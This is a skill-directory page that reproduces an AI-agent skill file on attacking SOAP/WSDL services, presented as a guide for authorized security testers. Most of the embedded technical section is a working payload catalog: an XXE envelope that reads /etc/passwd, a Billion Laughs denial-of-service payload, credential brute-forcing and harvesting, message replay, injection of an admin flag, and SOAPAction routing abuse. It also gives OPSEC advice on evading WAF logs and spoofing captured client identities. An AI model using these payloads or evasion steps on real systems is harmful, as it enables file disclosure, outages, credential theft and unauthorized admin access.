api-soap-wsdl
What it does
This guide covers security checks for SOAP services, which many older business systems still use. It is for security testers reviewing payment, ERP and government integrations.
When to use it
- βWhen an authorized review finds a SOAP service described by a WSDL file.
- βWhen you want to check how a SOAP service parses XML input.
- βWhen a SOAP service sends credentials and you need to check whether they are protected.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βWe still run a SOAP-based payment integration. Can you check its public description and XML handling for weak spots?β
5 new skills a week. 1 minute to read.
How it works
The agent reads the WSDL to see which operations are offered, then checks XML parsing settings and how login details are sent.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
SOAP / WSDL Attack Surface
Legacy enterprise integrations still ship SOAP β payment processors, ERP middleware, government APIs, Java EE bus systems.
Discovery
# WSDL endpoints β try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint
curl -sk "https://target/Service.asmx?wsdl" | xmllint --format -
curl -sk "https://target/Service.svc?wsdl" | xmllint --format -
# Generate a client from the WSDL
python -m zeep https://target/Service.asmx?wsdl
# OR
wsdl2java -uri https://target/Service.asmx?wsdl
Quick attack catalog
XXE in SOAP envelope
curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \
-d '<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body>
</soap:Envelope>' https://target/Service.asmx
WS-Security UsernameToken brute / clear-text leak
The <wsse:UsernameToken> often carries <wsse:Password> in clear text. If the channel is HTTP (not HTTPS) or the proxy logs payload, harvest creds:
# WSPolicy may demand: Type="...#PasswordText"
curl -sk -X POST -d @ws-attack.xml https://target/svc
# Brute: cycle a username dict, observe response time/error class
WS-Addressing replay
SOAP responses often include <wsa:RelatesTo> referencing the request <wsa:MessageID>. Some servers don't validate freshness:
<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>
SAML in WS-Trust / SAML EncryptedAssertion
WS-Trust 1.3 RST/RSTR flows accept SAML tokens. Re-sign the assertion with the IdP's leaked cert OR exploit XML Signature Wrapping (XSW) β see the SAML skill for full XSW patterns.
Schema validation bypass
Many servers parse the SOAP envelope before validating against the XSD. Inject XML that's malformed-for-schema but valid-for-parser:
<soap:Body>
<tns:Method>
<tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored -->
<tns:arg>value</tns:arg>
</tns:Method>
</soap:Body>
XML Bomb / Billion Laughs DoS
<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]>
<x>&c;&c;&c;</x>
SOAPAction routing confusion
.NET ASMX picks the method by SOAPAction header, not body. Mismatch β call methods you shouldn't be able to:
curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \
-d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \
https://target/Service.asmx
Tooling
# SoapUI free / Postman SOAP β interactive probing
soapui --gui # or non-GUI: testrunner.sh
# Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping
# python zeep β programmatic SOAP client (good for automation)
python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"
OPSEC
- WS-Addressing
<wsa:MessageID>is logged in many WAFs β randomize per-request. - WS-Security headers reveal client identity; spoof realistic clientIDs from previously-captured requests.
- SOAP fault messages leak stack traces β note them, but limit to one trigger per scan to avoid rate-limit alerts.
References
- WS-Attacks.org β XSW, XXE, WS-Security variants catalog
- OWASP "Testing for Web Services" β chapter on SOAP/WSDL
- "Hacking SOAP" β Pauldotcom episode (older but still 100% applicable)
- Burp extension: SAML Raider
FAQ
What is a WSDL?
It is a file that describes the operations and data formats a SOAP service offers.
What is an XML external entity issue?
It is a weakness where the XML parser reads outside data, which the guide lists as a common SOAP risk.
Why check how credentials are sent?
The guide notes that clear-text credentials are a risk when traffic is not encrypted.
Details
Original description by the author
SOAP / WSDL exploitation β WSDL enumeration via ?wsdl, XXE in SOAP envelope, WS-Addressing replay, WS-Security UsernameToken brute, SAML token injection in WS-Trust, schema validation bypass.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14026
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.